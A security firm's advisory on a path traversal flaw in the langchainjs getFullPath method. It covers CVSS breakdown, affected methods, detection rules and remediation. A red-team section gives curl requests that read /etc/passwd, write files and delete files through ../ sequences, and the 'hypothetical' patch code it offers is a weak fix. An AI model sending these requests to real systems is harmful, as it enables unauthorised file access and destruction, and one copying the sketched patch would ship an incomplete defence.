CVE-2024-7774

Executive Summary

CVE-2024-7774 is a path traversal vulnerability in langchain-ai/langchainjs version 0.2.5. The flaw resides in the getFullPath method, which fails to sanitize user input, allowing attackers to traverse directories and perform arbitrary file operations. This includes saving files anywhere on the filesystem, overwriting existing text files, reading .txt files, and deleting files via the setFileContent, getParsedFile, and mdelete methods. With a CVSS score of 6.5 (Medium), the vulnerability requires no authentication or user interaction, making it exploitable over the network. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the lack of a patch increases risk.

Supply Chain & Package Security

This vulnerability affects the npm package langchainjs (version 0.2.5). Organizations using this package in their Node.js applications should immediately assess their dependency tree. The package is widely used in AI/LLM applications, and a path traversal flaw could lead to data exfiltration or system compromise. No patch is currently available, so mitigation must focus on input validation and access controls.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited file read (.txt files).
• Integrity (I): Low (L) – File overwrite and delete capabilities.
• Availability (A): Low (L) – File deletion could cause denial of service.

Threat Level: Medium. The vulnerability allows file read, write, and delete operations, but is limited to .txt files for reading. However, overwriting configuration files or deleting critical data could have severe consequences.

Deep Dive & Mechanics

The vulnerability exists in the getFullPath method of langchainjs version 0.2.5. This method is used internally by setFileContent, getParsedFile, and mdelete to resolve file paths. The flaw is that user-supplied input is not sanitized for path traversal sequences (e.g., ../). An attacker can craft a request with a path like ../../etc/passwd to escape the intended directory.

Attack Flow:

1. The attacker sends a request to an endpoint that uses one of the vulnerable methods.
2. The getFullPath method concatenates the user input with a base directory without validation.
3. The resulting path points to an arbitrary location on the filesystem.
4. The attacker can then read, write, or delete files depending on the method used.

Affected Methods:

• setFileContent(path, content): Writes content to the specified path.
• getParsedFile(path): Reads and parses a .txt file.
• mdelete(path): Deletes the file at the specified path.

Vulnerable vs. Patched Code

Vulnerable Code (langchainjs 0.2.5):

// No sanitization of user input
getFullPath(userPath) {
    return path.join(this.baseDir, userPath);
}

Patched Code (Hypothetical):

// Sanitize input to prevent path traversal
getFullPath(userPath) {
    const safePath = path.normalize(userPath).replace(/^(\.\.(\/|\\|$))+/, '');
    const fullPath = path.join(this.baseDir, safePath);
    // Ensure the resolved path is within baseDir
    if (!fullPath.startsWith(path.resolve(this.baseDir))) {
        throw new Error('Invalid path');
    }
    return fullPath;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running langchainjs 0.2.5 with an exposed endpoint using setFileContent, getParsedFile, or mdelete.
• No authentication required.

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /api/setFileContent).
2. Craft a payload with path traversal:

   {
     "path": "../../../tmp/evil.txt",
     "content": "malicious content"
   }
   

3. Send the request:

   curl -X POST http://target/api/setFileContent \
     -H "Content-Type: application/json" \
     -d '{"path":"../../../tmp/evil.txt","content":"pwned"}'
   

4. To read a file:

   curl -X POST http://target/api/getParsedFile \
     -H "Content-Type: application/json" \
     -d '{"path":"../../../etc/passwd"}'
   

5. To delete a file:

   curl -X POST http://target/api/mdelete \
     -H "Content-Type: application/json" \
     -d '{"path":"../../../tmp/important.txt"}'
   

Note: No public exploit code is available, but the above demonstrates the attack.

Blue Team

Detection:

• Monitor for path traversal patterns in API requests (e.g., ../, ..\\).
• Alert on file operations outside expected directories.
• Use file integrity monitoring (FIM) to detect unauthorized changes.

Hunting:

• Search logs for setFileContent, getParsedFile, or mdelete calls with suspicious paths.
• Correlate with file system events (e.g., creation of files in /tmp or /etc).

Mitigation:

• Implement input validation and sanitization.
• Use a whitelist of allowed paths.
• Apply least privilege to the application process.

Indicators of Compromise (IOCs)

• File Paths: Any file created, read, or deleted outside the application's base directory (e.g., /etc/passwd, /tmp/evil.txt).
• Log Entries: API requests containing ../ or ..\\ in the path parameter.
• Network Traffic: POST requests to endpoints like /api/setFileContent, /api/getParsedFile, /api/mdelete with suspicious payloads.
• File System Changes: Unexpected files in system directories (e.g., /tmp, /var/www).

Detection Engineering

YARA Rule

rule CVE_2024_7774_PathTraversal {
    meta:
        description = "Detects path traversal attempts in langchainjs 0.2.5"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7774"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $method1 = "setFileContent"
        $method2 = "getParsedFile"
        $method3 = "mdelete"
    condition:
        any of ($method*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-7774 Path Traversal in langchainjs
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts exploiting CVE-2024-7774
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '../'
            - '..\\'
        cs-uri-stem|contains:
            - '/setFileContent'
            - '/getParsedFile'
            - '/mdelete'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7774 Path Traversal in langchainjs"; flow:to_server,established; content:"POST"; http_method; content:"../"; http_client_body; content:"setFileContent"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict sanitization of the path parameter in all vulnerable methods. Reject any input containing ../ or ..\\.
2. Path Canonicalization: Use path.resolve() and verify the resolved path starts with the intended base directory.
3. Access Controls: Run the application with minimal filesystem permissions (e.g., only write to a specific directory).
4. Web Application Firewall (WAF): Deploy rules to block path traversal patterns.

Long-Term Fix:

• Monitor the langchain-ai repository for a patch. Once available, update to the patched version immediately.
• Consider forking the package and applying the fix if the vendor is unresponsive.

Workarounds:

• Disable or restrict access to endpoints using setFileContent, getParsedFile, and mdelete if not required.
• Use a reverse proxy to filter malicious requests.

Valters IT
Securing Digital Frontiers